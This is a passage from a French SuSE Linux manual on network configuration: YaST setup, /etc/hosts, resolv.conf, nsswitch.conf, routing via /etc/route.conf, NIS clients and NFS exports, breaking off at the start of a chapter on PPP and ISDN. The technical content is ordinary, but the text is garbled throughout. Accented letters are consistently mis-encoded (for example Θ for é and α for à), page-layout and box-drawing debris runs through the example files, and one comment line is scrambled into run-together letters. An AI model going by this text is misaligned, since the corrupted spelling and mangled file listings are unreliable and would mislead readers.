un sous-rΘseau) il s'agit normalement de 255.255.255.0 . S'il n'y a pas
de machine passerelle dans le rΘseau, il n'y aura rien α spΘcifier ici ; voir
la figure 5.1 page suivante.
6. Quittez le masque en activant le bouton `Continuer'.
7. Activez le pΘriphΘrique rΘseau avec |F___|_4.
156
____________________________________________________________________________5.1.__Configuration_α_l'aide_de_YaST___________*
*_______________________
Fig. 5.1: Configuration rΘseau avec YaST
8. En appuyant sur |_____|F10, vous pouvez sauvegarder la configuration. Avec
||______|╔chap, vous pouvez quitter le masque sans faire enregistrer les modifica-
tions.
9. Dans le menu `Changer les noms des machines', vous pouvez
donner un nom α votre machine ou changer un nom de machine dΘjα
existant. Dans le masque du menu, il sera Θgalement spΘcifiΘ le nom du
domaine auquel devra appartenir la machine.
10. Sous l'option `Configurer les services rΘseau', vous pouvez dΘ-
terminer si le dΘmon inetd , le programme portmap et le serveur NFS
doivent Ωtre lancΘs. Vous pouvez aussi dΘfinir le nom de machine et le
nom de domaine qui devront figurer dans la ligne ``From'' lors du postage
d'articles USENET.
~ Le dΘmon inetd est nΘcessaire pour dΘmarrer en cas de nΘcessitΘ cer-
tains services rΘseau (par exemple telnet, finger, ftp etc.). inetd de-
vrait toujours Ωtre lancΘ au moment du dΘmarrage du systΦme, si-
non de nombreux services ne seront pas disponibles. Si votre systΦme
est exposΘ α certains risques, observez soigneusement les instructions
concernant la sΘcuritΘ au paragraphe 18.2.2 page 475 .
~ Le portmapper portmap doit toujours Ωtre lancΘ lors du dΘmarrage de
votre systΦme si votre machine doit faire office de serveur NFS ou si
NIS doit Ωtre utilisΘ. Si vous avez dΘcidΘ de lancer le portmapper, il
vous sera ensuite demandΘ si le serveur NFS doit aussi Ωtre dΘmarrΘ.
11. Dans le menu `Configuration du serveur de noms', vous pouvez
configurer l'accΦs α un ou plusieurs serveurs de noms. Il est possible de
spΘcifier jusqu'α trois adresses IP sΘparΘes par des espaces.
12. L'option du menu `Configurer sendmail' vous permet de procΘder α
la configuration du paquetage sendmail . Vous trouverez une description
dΘtaillΘe de la configuration de sendmail au paragraphe 6.8 page 205.
En plus de tout cela, vous pouvez aussi entrer un grand nombre d'autres para-
mΦtres directement dans le fichier central de configuration /etc/rc.config.
Ici aussi vous serez assistΘ par YaST (voir paragraphe 17.6 page 451).
*
* 157
5. En rΘseau avec_Linux___________________________________________________________________________________________________________*
*_______________________________________@
Votre configuration rΘseau est ainsi terminΘe. YaST lance SuSEconfig et fait
enregistrer toutes vos spΘcifications dans les fichiers correspondants (voir
paragraphe 5.2). Pour que les paramΦtres soient pris en compte, vous devrez
reconfigurer les programmes concernΘs et relancer les dΘmons nΘcessaires.
Vous pouvez le faire en tapant la commande
terre:~ # rcnetwork restart
(voir aussi chapitre 17 page 445).
5.2 Configuration manuelle du rΘseau ~ o∙ trouver quoi ?
La configuration manuelle des logiciels rΘseau devrait toujours Ωtre considΘ-
rΘe comme un pis-aller. Il est prΘfΘrable d'utiliser YaST . Mais comme YaST
ne couvre pas la totalitΘ des logiciels rΘseau, il peut s'avΘrer nΘcessaire, dans
certains cas, de fignoler le travail α la main.
5.2.1 Fichiers de configuration
Ce paragraphe donne une vue d'ensemble des fichiers de configuration rΘseau
et dΘcrit leur fonction ainsi que le format utilisΘ.
/etc/rc.config
C'est dans ce fichier central de configuration (voir paragraphe 17.5
page 450) que l'on procΦde α la plus grande partie de la configuration
rΘseau. Si des modifications sont effectuΘes α l'aide de YaST ou si vous
lancez SuSEconfig aprΦs avoir modifiΘ manuellement ce fichier, les en-
trΘes qui ont ΘtΘ faites serviront α gΘnΘrer automatiquement la plupart
des fichiers ΘnumΘrΘs ci-dessous. MΩme les scripts de dΘmarrage sont
configurΘs au moyen des paramΦtres contenus dans ce fichier.
________________________________________________________________________________________________________*
*________||
| Si vous modifiez ce fichier α la main, vous devez toujours ensuite invoquer *
* ||||
| SuSEconfig afin que la configuration modifiΘe soit enregistrΘe automati- *
* |||
| *
* |||
| quement dans les fichiers appropriΘs. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
/etc/hosts
C'est dans ce fichier (voir fichier 5.2.1 page ci-contre) que les adresses IP
sont associΘes aux noms de machines. S'il n'est pas utilisΘ de serveur de
noms, toutes les machines avec lesquelles une liaison IP doit Ωtre Θtablie
devront Ωtre mentionnΘes ici. Pour chaque machine, il sera insΘrΘ dans
le fichier une ligne constituΘe par l'adresse IP, le nom d'h⌠te pleinement
qualifiΘ et le nom de la machine, par exemple terre . L'adresse IP doit
se trouver en dΘbut de ligne et les entrΘes doivent Ωtre sΘparΘes par des
espaces ou des tabulations. Les lignes de commentaires sont introduites
par le caractΦre `#'.
/etc/networks
Ici, les noms de rΘseaux sont convertis en adresses de rΘseaux. Le format
est semblable α celui du fichier hosts, α cette diffΘrence prΦs que les
noms de rΘseaux sont placΘs ici devant les adresses (voir fichier 5.2.2
page suivante).
158
_________________________________________5.2.__Configuration_manuelle_du_rΘseau_~_o∙_trouver_quoi_?_______________________________*
*________________
_______________________________________________________________________________________________________________________||
|||||||| # |
|||||||||## hosts Thismafileppdescribesinagsnumberfoofr hostname-to-addressthe TCP/IP subsystem. It is |mostly|
|||||||| # used at boot time, when no name servers are running. |
|||||||| |
|||||||| # On small systems, this file can be used instead of a |
|||||||| # "named" name server. Just add the names, addresses |
|||||||| # and any aliases to this file... |
|||||||| # |
|||||||| |
|||||||| 127.0.0.1 localhost |
|||||||| 192.168.0.1 soleil.cosmos.univers soleil |
|||||||| 192.168.0.20 terre.cosmos.univers terre |
|||||||| # End of hosts |
||||||||_______________________________________________________________________________________________________________ |
fichier 5.2.1: /etc/hosts
_______________________________________________________________________________________________________________________||
|||||||| # |
|||||||| # networks This file describes a number of netname-to-address |
|||||||| # mappings for the TCP/IP subsystem. It is mostly |
|||||||| # used at boot time, when no name servers are running. |
|||||||| |
|||||||| # |
|||||||| loopback 127.0.0.0 |
|||||||| localnet 192.168.0.0 |
|||||||| # End of networks. |
||||||||_______________________________________________________________________________________________________________ |
fichier 5.2.2: /etc/networks
_____________________________________________________________________________________________________________
order hosts, bind DΘtermine l'ordre dans lequel on doit
faire appel aux services pour la rΘsolu-
tion d'un nom. Arguments possibles :
hosts : Recherche dans le fichier /etc/
hosts
bind : AccΦs α un serveur de noms
multi on/off DΘtermine si une machine enregistrΘe
dans /etc/hosts peut avoir plusieurs
adresses IP.
nospoof on Ces paramΦtres agissent sur les accΦs
alert on/off non autorisΘs (angl. spoofing) au serveur
de noms mais n'ont aucune autre in-
fluence sur la configuration rΘseau.
trim <Nom de domaine> Le nom du domaine est sΘparΘ du nom
d'h⌠te de la machine avant que celui-
ci ne soit rΘsolu (dans la mesure o∙ le
nom de machine contient ce nom de do-
maine). Cette option est utile lorsque le
fichier /etc/hosts ne contient que des
noms provenant du domaine local qui
doivent Ωtre reconnus mΩme lorsqu'ils
sont complΘtΘs par le nom du domaine.
_____________________________________________________________________________________________________________
Tab. 5.2: ParamΦtres pour /etc/host.conf
159
5. En rΘseau avec_Linux___________________________________________________________________________________________________________*
*_______________________________________@
/etc/host.conf
La rΘsolution de noms ~ c'est-α-dire la conversion de noms de machines
ou de rΘseaux par la bibliothΦque resolver ~ est pilotΘe α l'aide de ce
fichier. Il est possible de rΘgler diffΘrents paramΦtres, chacun d'entre eux
devant se trouver dans sa propre ligne. Les commentaires sont introduits
par le caractΦre `#'. Le tableau 5.2 page prΘcΘdente vous montre les
paramΦtres qu'il est possible d'utiliser.
Le fichier 5.2.3. nous montre un exemple pour /etc/host.conf
________________________________________________________________________________________________________*
*________||
| # *
* |
| # /etc/host.conf *
* |
| *
* |
| # *
* |
| # We have named running *
* |
| *
* |
| order hosts bind *
* |
| # Allow multiple addrs *
* |
| *
* |
| multi on *
* |
| # End of host.conf *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 5.2.3: /etc/host.conf
/etc/nsswitch.conf
Avec la version 2.0 de la bibliothΦque C de GNU, le ``Name Service Swit-
ch'' (NSS) a fait son apparition (voir la page de man de nsswitch.conf
(man 5 nsswitch.conf ) et pour plus de dΘtails The GNU C Library
Reference Manual, chapitre "System Databases and Name Service
Switch" 2 ).
Le fichier /etc/nsswitch.conf dΘtermine l'ordre dans lequel certaines
informations seront recherchΘes. Le fichier 5.2.4 page 162 vous montre
un exemple pour nsswitch.conf. Les commentaires sont introduits ici
par le caractΦre `#'. Dans ce fichier, l'entrΘe /etc/hosts:, par exemple,
a pour rΘsultat qu'il sera d'abord recherchΘ dans le fichier /etc/hosts
(mot-clΘ files ) avant que le service de noms (mot-clΘ dns ) ne soit inter-
rogΘ. /etc/hosts: dΘsigne ici une ``base de donnΘes'' au sens de NSS.
Les ``bases de donnΘes'' disponibles via NSS sont ΘnumΘrΘes dans
le tableau 5.3 page suivante. On peut en plus attendre pour l'avenir
automount , bootparams , netmasks et publickey .
____________________________________________________________________________________________________*
*______
aliases Alias de mail, utilisΘe par sendmail(8) ; voir page de
man de aliases (man 5 aliases ).
ethers Adresses Ethernet.
group Pour groupes d'utilisateurs, utilisΘe par getgrent(3) ;
voir page de man de group (man 5 group ).
hosts Pour noms d'h⌠tes et adresses IP, utilisΘe par
gethostbyname(3) et fonctions similaires.
____________________________________________________________________________________________________*
*______
___________________________Tab._5.3:_Continuer_α la page suivante...
2 paquetage libcinfo, sΘrie doc.
160
_________________________________________5.2.__Configuration_manuelle_du_rΘseau_~_o∙_trouver_quoi_?_________________________*
*______________________
_____________________________________________________________________________________________________________
netgroup Liste d'h⌠tes et d'utilisateurs valide dans le rΘseau et
permettant de rΘgler les droits d'accΦs ; voir page de
man de netgroup (man 5 netgroup ).
networks Noms et adresses rΘseau, utilisΘe par getnetent(3).
passwd Mots de passe, utilisΘe par getpwent(3) ; voir page de
man de passwd (man 5 passwd ).
protocols Protocoles rΘseau, utilisΘe par getprotoent(3) ; voir
page de man de protocols (man 5 protocols ).
rpc Noms et adresses pour ``Remote Procedure Call'', uti-
lisΘe par getrpcbyname(3) et fonctions similaires.
services Services rΘseau, utilisΘe par getservent(3).
shadow Mots de passe ``shadow'', utilisΘe par getspnam(3) ;
voir page de man de shadow (man 5 shadow ).
_____________________________________________________________________________________________________________
Tab. 5.3: ``Bases de donnΘes'' disponibles via /etc/nsswitch.conf
Les possibilitΘs de configuration de la ``base de donnΘes'' NSS sont prΘ-
sentΘes dans le tableau 5.4.
_____________________________________________________________________________________________________________
files accΦs direct aux fichiers, par exemple α /etc/
aliases.
db accΦs par le biais d'une base de donnΘes.
nis NIS , voir paragraphe 5.4 page 165.
nisplus
dns utilisable comme extension seulement pour hosts et
networks .
compat utilisable comme extension seulement pour passwd ,
shadow et group .
en plus il est possible de dΘclencher diffΘrentes rΘactions α
certains rΘsultats obtenus par la recherche. Vous trou-
verez des dΘtails α ce sujet dans la page de man de
nsswitch.conf (man 5 nsswitch.conf ).
_____________________________________________________________________________________________________________
Tab. 5.4: PossibilitΘs de configuration des ``bases de donnΘes'' NSS
/etc/nscd.conf
C'est par ce fichier que nscd (angl. Name Service Cache Daemon) est
configurΘ. Voir la page de man de nscd (man 8 nscd ) et la page de man
de nscd.conf (man 5 nscd.conf ). Ceci concerne les informations de
passwd , groups et hosts . Le dΘmon doit Ωtre relancΘ si par exemple
la rΘsolution des noms (DNS) est changΘe par la modification du fichier
/etc/resolv.conf. On utilise pour cela la commande :
*
* 161
5. En rΘseau avec_Linux___________________________________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||||
| # *
* |
| *
* |
| # /etc/nsswitch.conf *
* |
| # *
* |
| passwd: compat *
* |
| *
* |
| group: compat *
* |
| *
* |
| *
* |
| hosts: files dns *
* |
| networks: files dns *
* |
| *
* |
| *
* |
| services: db files *
* |
| *
* |
| protocols: db files *
* |
| *
* |
| *
* |
| netgroup: files *
* |
| *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 5.2.4: /etc/nsswitch.conf
terre: # /sbin/init.d/nscd restart
________________________________________________________________________________________________________*
*________||
| Lorsque par exemple le cache pour passwd est activΘ, il faut attendre en *
* ||||
| gΘnΘral 15 secondes avant qu'un nouvel utilisateur local soit connu du *
* |||
| *
* |||
| systΦme. Il est possible de rΘduire ce temps en relanτant nscd . *
* |||
|_______________________________________________________________________________________________________*
*________|||_
/etc/resolv.conf
Tout comme le fichier /etc/host.conf, ce fichier a un r⌠le α jouer dans
la rΘsolution des noms de machines par la bibliothΦque resolver.
On spΘcifie ici le domaine auquel la machine appartient (mot-clΘ search )
ainsi que l'adresse du serveur de noms (mot-clΘ nameserver ) qui doit
Ωtre utilisΘ. Il est possible d'indiquer plusieurs noms de domaines. Lors
de la rΘsolution d'un nom qui n'est pas pleinement qualifiΘ, on essaie,
par l'ajout des diffΘrentes entrΘes dans search , de crΘer un nom valide
complet. On peut faire connaεtre plusieurs serveurs de noms α l'aide de
plusieurs lignes commenτant par nameserver . Ici aussi les lignes de
commentaires sont introduites par le caractΦre `#'.
Un exemple pour /etc/resolv.conf vous est montrΘ dans le fi-
chier 5.2.5.
________________________________________________________________________________________________________*
*________||
| # /etc/resolv.conf *
* |
| *
* |
| # *
* |
| # Our domain *
* |
| *
* |
| search cosmos.univers *
* |
| # *
* |
| *
* |
| # We use soleil (192.168.0.1) as nameserver *
* |
| nameserver 192.168.0.1 *
* |
| # End of resolv.conf *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 5.2.5: /etc/resolv.conf
YaST (voir paragraphe 5.1 page 156) inscrit ici le serveur de noms qui a
ΘtΘ spΘcifiΘ !
162
_________________________________________5.2.__Configuration_manuelle_du_rΘseau_~_o∙_trouver_quoi_?_________________________*
*______________________
/etc/HOSTNAME
On trouve ici le nom de la machine, c'est-α-dire le nom d'h⌠te sans le
nom de domaine. Ce fichier est lu par diffΘrents scripts lors du dΘmarrage
de la machine. Il ne doit contenir qu'une seule ligne mentionnant le nom
de la machine ! Ce fichier est Θgalement gΘnΘrΘ automatiquement avec les
paramΦtres contenus dans /etc/rc.config.
5.2.2 Scripts de dΘmarrage
En plus des fichiers de configuration dΘcrits plus haut, il existe aussi diffΘrents
scripts qui lancent les programmes rΘseau au moment du dΘmarrage de la ma-
chine. Ces scripts dΘmarrent dΦs que le systΦme passe dans l'un des niveaux
d'exΘcution multiutilisateurs (angl. multiuser-runlevel) (voir tableau 5.5).
______________________________________________________________________________________________________________________
/sbin/init.d/network Ce script se charge de la configuration
du matΘriel et des logiciels rΘseau pen-
dant la phase de dΘmarrage du systΦme
en tenant compte des entrΘes faites par
YaST (voir paragraphe 5.1 page 156) dans
/etc/rc.config au sujet de l'adresse IP,
de l'adresse de rΘseau, du masque rΘseau
et de la passerelle.
/sbin/init.d/route Sert α dΘterminer les routes statiques dans
le rΘseau. Vous trouverez une description
dΘtaillΘe au paragraphe 5.3 page suivante.
/sbin/init.d/inetd Lance inetd lorsque son lancement est
prΘvu dans /etc/rc.config. Ceci est
nΘcessaire lorsque l'on veut, par exemple,
se connecter α cette machine depuis le rΘ-
seau.
/sbin/init.d/rpc Lance le Portmapper nΘcessaire α l'utilisa-
tion de serveurs RPC, comme par exemple
un serveur NFS.
/sbin/init.d/ Lance le serveur NFS.
nfsserver
/sbin/init.d/sendmail Contr⌠le le processus sendmail en fonc-
tion des paramΦtres contenus dans /etc/
rc.config.
/sbin/init.d/ypserv DΘmarre le serveur NIS en fonction
des paramΦtres contenus dans /etc/rc.
config.
/sbin/init.d/ypclient DΘmarre le client NIS en fonc-
tion des paramΦtres contenus dans
/etc/rc.config.
______________________________________________________________________________________________________________________
Tab. 5.5: Scripts de dΘmarrage des programmes rΘseau
*
* 163
5. En rΘseau avec_Linux___________________________________________________________________________________________________________*
*_______________________________________@
5.3 Routage sous SuSE Linux
Remarques prΘliminaires
La table de routage n'est pas dΘfinie sous SuSE Linux au moyen de variables
dans le fichier central de configuration /etc/rc.config mais au moyen du
script /sbin/init.d/route et du fichier de configuration /etc/.
AprΦs l'initialisation du rΘseau par les scripts de dΘmarrage /sbin/init.
d/network, /sbin/init.d/inetd, /sbin/init.d/i4l_hardware et, le
cas ΘchΘant, par d'autres scripts de dΘmarrage, le fichier /etc/route.conf
contenant la table de routage est explorΘ par /sbin/init.d/route et cette
table de routage est configurΘe pour le systΦme.
Dans le fichier /etc/route.conf, on peut enregistrer toutes les routes sta-
tiques qui peuvent Ωtre nΘcessaires aux diffΘrentes tΓches d'un systΦme :
Route vers une machine, route vers une machine via une passerelle et route
vers un rΘseau.
Il est Θgalement possible d'utiliser un routage dynamique au moyen de
/usr/sbin/routed dont la configuration est plus compliquΘe. Nous attirons ici
votre attention sur la page de man de routed .
Marche α suivre et utilisation
Les rΦgles qui s'appliquent au fichier de configuration /etc/route.conf
se basent sur la sortie de la commande /sbin/route . Si la commande
/sbin/route est invoquΘe sans arguments supplΘmentaires, la table de rou-
tage utilisΘe par le noyau sera affichΘe. └ l'exception des colonnes pour les
entrΘes Flags, Metric, Ref et Use, tous les enregistrements contenus dans
/etc/route.conf sont identiques.
Voici briΦvement quelles sont les rΦgles applicables α /etc/route.conf :
~ Les lignes commenτant par `#' et les lignes vides sont ignorΘes. Une
entrΘe est constituΘe par une ligne comportant au minimum 2 et au maxi-
mum 4 colonnes.
~ La premiΦre colonne contient l'adresse de destination. On peut dΘfinir ici
l'adresse IP d'un rΘseau ou d'une machine ou, pour des serveurs de noms
accessibles, le nom complet d'un rΘseau ou de la machine.
~ Le mot-clΘ default est rΘservΘ α la passerelle par dΘfaut. N'utilisez pas
ici 0.0.0.0 pour les entrΘes de routage.
~ La deuxiΦme colonne contient soit un caractΦre de substitution (0.0.0.0 ),
soit l'adresse IP ou le nom complet d'une machine. Cette machine peut
Ωtre la passerelle par dΘfaut ou une passerelle derriΦre laquelle on peut
accΘder α une machine ou α un rΘseau.
~ La troisiΦme colonne contient le masque pour rΘseaux ou machines se
trouvant au delα d'une passerelle. Pour les machines situΘes derriΦre une
passerelle, le masque est 255.255.255.255 .
~ La derniΦre ligne concerne uniquement les rΘseaux (loopback, Ethernet,
ISDN, PPP, pΘriphΘriques dummy, : : :) reliΘs α la machine locale. Le nom
du pΘriphΘrique doit Ωtre ici indiquΘ.
164
______________________________________________________________________________5.4.__NIS,_les_pages_jaunes_du_LAN____________*
*______________________
Un exemple simple de fichier /etc/route.conf nous est donnΘ par la
figure 5.3.1. Si de nouvelles entrΘes sont faites dans /etc/route.conf,
celles-ci seront prises en compte dans la table de routage α l'aide de l'entrΘe
terre:~||# rcroute restart |
_______________________________________________________________________________________________________________________||||
|||||||| # Destination Dummy/Gateway Netmask Device |
|||||||| # |
|||||||| # 192.168.0.1 0.0.0.0 255.255.255.255 ippp0 |
|||||||| # default 192.168.0.1 |
|||||||| # |
|||||||| |
|||||||| # Net devices |
|||||||| # |
|||||||| 127.0.0.0 0.0.0.0 255.255.255.0 lo |
|||||||| 204.127.235.0 0.0.0.0 255.255.255.0 eth0 |
|||||||| |
|||||||| # |
|||||||| # Gateway |
|||||||| # |
|||||||| default 204.127.235.41 |
|||||||| |
|||||||| # |
|||||||| # Host behind Gateway |
|||||||| # |
|||||||| 207.68.156.51 207.68.145.45 255.255.255.255 |
|||||||| |
|||||||| # |
|||||||| # Net behind a Gateway |
|||||||| # |
|||||||| 192.168.0.0 207.68.156.51 255.255.0.0 |
||||||||_______________________________________________________________________________________________________________ |
fichier 5.3.1: Exemple simple de fichier /etc/route.conf
5.4 NIS, les pages jaunes du LAN
5.4.1 Qu'est-ce que le NIS ?
DΦs que plusieurs systΦmes UNIX dans un rΘseau veulent avoir accΦs aux
ressources communes, il convient de s'assurer que tous les noms d'utilisateurs
et de groupes sont identiques sur toutes les machines. Le rΘseau doit Ωtre
transparent pour l'utilisateur ; quelque soit la machine sur laquelle il travaille,
il doit toujours trouver le mΩme environnement. Ceci est rendu possible par
les services NIS et NFS. NFS sert α la rΘpartition de systΦmes de fichiers dans
le rΘseau et sera dΘcrit au paragraphe 5.5 page 167.
NIS (angl. Network Information Service)3 peut Ωtre considΘrΘ comme une
base de donnΘes qui gΦre et distribue de maniΦre centralisΘe les informations
rΘseau contenues dans les fichiers /etc/passwd, /etc/shadow ou /etc/
group. NIS peut aussi Ωtre utilisΘ pour d'autres tΓches plus spΘcialisΘes (par
exemple pour /etc/hosts ou /etc/services) que nous ne mentionnerons
pas ici.
5.4.2 Installation d'un client NIS
Dans le paquetage ypclient, sΘrie n, vous trouverez tous les programmes
indispensables α l'installation d'un client NIS. Pour l'installer, vous devrez
parcourir les Θtapes suivantes :
3 ____________________________________________________
NIS est trΦs souvent remplacΘ par `YP'. Il s'agit des yellow pages ou pages jaunes dans le
rΘseau.
*
* 165
5. En rΘseau avec_Linux___________________________________________________________________________________________________________*
*_______________________________________@
~ DΘterminer le domaine NIS lors du dΘmarrage du systΦme
Pour cela, la variable YP_DOMAINNAME doit Ωtre positionnΘe dans /etc/
rc.config. Lors du passage dans un niveau d'exΘcution dans lequel
on utilise le rΘseau, /sbin/init.d/network exploite cette variable et
dΘtermine le nom en consΘquence.
Le nom de domaine NIS ne doit pas Ωtre confondu avec le nom de do-
maine DNS . Ces noms peuvent Ωtre identiques mais n'ont absolument
rien α voir l'un avec l'autre !
~ DΘtermination du serveur NIS.
Le nom du serveur NIS est insΘrΘ dans /etc/rc.config par la variable
YP_SERVER . SuSEconfig Θcrit ces noms, au format qui convient, dans
le fichier /etc/yp.conf (voir fichier 5.4.1). Si vous avez positionnΘ la
variable avec YaST , cela sera fait automatiquement. Dans ce fichier, il
doit exister une ligne commenτant par le mot-clΘ ypserver et contenant
le nom du serveur NIS.
________________________________________________________________________________________________________*
*________||||
| # /etc/yp.conf *
* |
| # *
* |
| # Syntax: *
* |
| *
* |
| # *
* |
| # ypserver <servername> Define which host to contact *
* |
| *
* |
| # for YP service. *
* |
| # *
* |
| *
* |
| ypserver soleil.cosmos.univers *
* |
| # End of /etc/yp.conf *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 5.4.1: /etc/yp.conf
~ Le nom du serveur NIS (par exemple soleil.cosmos.univers) doit
pouvoir Ωtre rΘsolu via /etc/hosts.
~ Assurez-vous que le RPC Portmapper est lancΘ.
NIS utilise RPC (angl. Remote Procedure Calls) et il est donc indispen-
sable que le RPC Portmapper fonctionne. Ce serveur est lancΘ par le script
/sbin/init.d/rpc. Ceci se fait aussi automatiquement si le lancement
du Portmapper est dΘfini dans le fichier /etc/rc.config.
~ ComplΘter les entrΘes dans /etc/passwd et /etc/group.
Pour qu'aprΦs la recherche effectuΘe dans les fichiers locaux il soit adressΘ
une requΩte au serveur NIS, les fichiers correspondants devront Ωtre com-
plΘtΘs par une ligne commenτant par le signe d'addition (`+'). NIS per-
met d'activer ici un grand nombre d'autres options, par exemple Net-
groups ou remplacement d'entrΘes NIS.
~ Lancer ypbind .
La derniΦre phase de l'installation du client NIS est le lancement du pro-
gramme ypbind qui marque le dΘmarrage proprement dit du client NIS.
Ce programme sera Θgalement lancΘ automatiquement si vous avez confi-
gurΘ votre rΘseau avec YaST .
~ Activer les modifications.
166
______________________________________________________________________5.5.__NFS_~_SystΦmes_de_fichiers_rΘpartis_____________*
*______________________
Vous devez maintenant soit redΘmarrer votre systΦme, soit rΘactiver les
services nΘcessaires en tapant
terre:~ # rcnetwork restart
terre:~ # rcypclient restart
5.4.3 Serveur maεtre et serveur esclave NIS
Vous devez installer le paquetage ypserv, sΘrie n. La procΘdure exacte est
dΘcrite dans /usr/doc/packages/yp/HOWTO.
5.5 NFS ~ SystΦmes de fichiers rΘpartis
Comme nous l'avons dΘjα mentionnΘ au paragraphe 5.4 page 165, NFS tout
comme NIS, sert α rendre le rΘseau transparent pour l'utilisateur. NFS permet
de rΘpartir des systΦmes de fichiers dans le rΘseau. Quelque soit la machine
sur laquelle travaille l'utilisateur, l'environnement est toujours le mΩme.
NFS, tout comme NIS, est un service asymΘtrique. Il existe des serveurs NFS
et des clients NFS. Mais une machine peut aussi Ωtre les deux, ce qui signifie
qu'elle peut simultanΘment mettre des systΦmes de fichiers α la disposition
du rΘseau (``exporter'') et monter les systΦmes de fichiers d'autres machines
(``importer''). Mais gΘnΘralement, on utilise plut⌠t des serveurs dotΘs d'une
trΦs grande capacitΘ de disque dur dont les systΦmes de fichiers sont montΘs
par des clients.
5.5.1 Importation des systΦmes de fichiers
Il est trΦs simple d'importer des systΦmes de fichiers depuis un serveur NFS. Il
suffit d'avoir lancΘ le RPC Portmapper . Nous avons dΘjα parlΘ du lancement
de ce serveur en relation avec NIS (voir paragraphe 5.4.2 page ci-contre). DΦs
que cette condition est remplie, les systΦmes de fichiers externes (s'ils ont ΘtΘ
exportΘs par les machines correspondantes) peuvent Ωtre montΘs, de la mΩme
maniΦre qu'un systΦme de fichier local, avec la commande mount . La syntaxe
est la suivante :
mount -t nfs <Machine> :<Chemin distant> <Chemin local>
Si par exemple les rΘpertoires utilisateurs doivent Ωtre importΘs depuis la
machine soleil , on utilise la commande suivante :
terre:~ # mount -t nfs soleil:/home /home
5.5.2 Exportation des systΦmes de fichiers
Une machine qui exporte des systΦmes de fichiers est appelΘe serveur NFS.
Sur un serveur NFS, certains programmes rΘseau doivent tourner :
~ RPC Portmapper (portmap )
~ DΘmon RPC mount (rpc.mountd )
~ DΘmon RPC NFS (rpc.nfsd )
Ils sont lancΘs, au moment du dΘmarrage du systΦme, par les scripts
/sbin/init.d/rpc et /sbin/init.d/nfsserver . Le lancement du RPC Portmapper a
dΘjα ΘtΘ dΘcrit au paragraphe 5.4.2 page prΘcΘdente.
*
* 167
5. En rΘseau avec_Linux___________________________________________________________________________________________________________*
*_______________________________________@
AprΦs le lancement de ces dΘmons, on doit encore dΘterminer quels systΦmes
de fichiers doivent Ωtre exportΘs vers quelle machine. Ceci se fait dans le
fichier /etc/exports.
Chaque rΘpertoire α exporter requiert une ligne dans laquelle il est prΘcisΘ
quelles machines peuvent y avoir accΦs et de quelle maniΦre. Tous les sous-
rΘpertoires d'un rΘpertoire exportΘ sont eux aussi exportΘs automatiquement.
Les machines autorisΘes sont spΘcifiΘes avec leur nom (qui inclut le nom de
domaine) mais il est aussi possible d'utiliser les caractΦres jokers `*' et ` ?'
qui ont la fonction que nous connaissons dΘjα sous bash . S'il n'est pas indiquΘ
de nom de machine, chaque machine sera autorisΘe (avec les droits spΘcifiΘs)
α accΘder α ce rΘpertoire.
Les droits avec lesquels le rΘpertoire est exportΘ sont spΘcifiΘs entre paren-
thΦses aprΦs le nom de la machine. Les options les plus importantes pour les
droits d'accΦs sont ΘnumΘrΘes dans le tableau suivant.
_______________________________________________________________________________________________________*
*_________
ro Le systΦme de fichiers est exportΘ avec droits de lec-
ture seule (par dΘfaut).
rw Le systΦme de fichiers est exportΘ avec droits de lec-
ture et d'Θcriture.
root`squash Cette option a pour effet que l'utilisateur `root' de la
machine spΘcifiΘe n'a, sur ce systΦme de fichiers, au-
cun des droits spΘciaux propres α l'utilisateur `root'.
On obtient ceci en assignant aux utilisateurs possΘdant
un ID 0 (root) un ID 65534 (-2) . Cet ID est assignΘ
α l'utilisateur `nobody' (par dΘfaut).
no`root`squash Les droits d'accΦs de l'utilisateur `root' demeurent
inchangΘs.
link`relative Modification de liens symboliques absolus (ceux qui
commencent par `/') dans une sΘquence de `../'.
Cette option n'est utile que dans le cas o∙ l'ensemble
du systΦme de fichiers d'une machine est montΘ (par
dΘfaut).
link`absolute Les liens symboliques demeurent inchangΘs.
map`identity Les mΩmes ID sont utilisΘs sur le client et sur le ser-
veur (par dΘfaut).
map`daemon Les ID utilisateurs du client et du serveur ne
concordent pas. Cette option demande α nfsd de crΘer
une table de conversion pour les ID utilisateurs. Pour
cela il est toutefois nΘcessaire que le dΘmon ugidd soit
activΘ.
_______________________________________________________________________________________________________*
*_________
Tab. 5.6: Droits d'accΦs pour fichiers exportΘs
Le fichier exports peut Ωtre semblable au fichier 5.5.1 page ci-contre.
168
______________________________________________________________________5.5.__NFS_~_SystΦmes_de_fichiers_rΘpartis_____________*
*______________________
_______________________________________________________________________________________________________________________||
|||||||| # |
|||||||||# /etc/exports ||
|||||||| # |
|||||||| /home soleil(rw) vΘnus(rw) |
|||||||| /usr/X11 soleil(ro) vΘnus(ro) |
|||||||| |
|||||||| /usr/lib/texmf soleil(ro) vΘnus(rw) |
|||||||| / terre(ro,root_squash) |
|||||||| |
|||||||| /home/ftp (ro) |
|||||||| # End of exports |
||||||||_______________________________________________________________________________________________________________ |
fichier 5.5.1: /etc/exports
Le fichier /etc/exports est lu par mountd et nfsd . Si quelque chose y
est modifiΘ, mountd et nfsd devront Ωtre relancΘs afin que la modification
soit prise en compte ! La maniΦre la plus simple d'y parvenir est de taper la
commande :
terre:~ # rcnfsserver restart
*
* 169
5. En rΘseau avec_Linux___________________________________________________________________________________________________________*
*_______________________________________@
170
Chapitre 6
Votre ouverture sur le monde ~
PPP, ISDN, Fax : : :
Tout comme la connexion au rΘseau local, la connexion α un + WAN
(angl. Wide Area Networks), rΘseau plus vaste et rΘparti, et l'utilisation de
boεtes α lettres prΘsentent de nombreux avantages.
Dans le monde Unix, deux standards de connexion α de grands rΘseaux se
sont Θtablis. Il s'agit des liaisons UUCP et TCP/IP rΘalisΘes par modem ou par
ISDN. Alors que UUCP (Unix to Unix CoPy) sert principalement au transport
de news et de courrier Θlectronique (E-mail) , la connexion TCP/IP reprΘsente
une vΘritable connexion rΘseau qui met α disposition tous les services connus
dans un LAN ~ d'ailleurs basΘ aussi sur TCP/IP.
Si la connexion TCP/IP est Θtablie par modem ou par ISDN, on utilise en
gΘnΘral aujourd'hui PPP (Point to Point Protocol)1 . Pour ISDN, on utilise
principalement syncPPP (voir paragraphe 6.2.5 page 180).
La connexion α un WAN sera traitΘe dans les paragraphes suivants. PPP fera
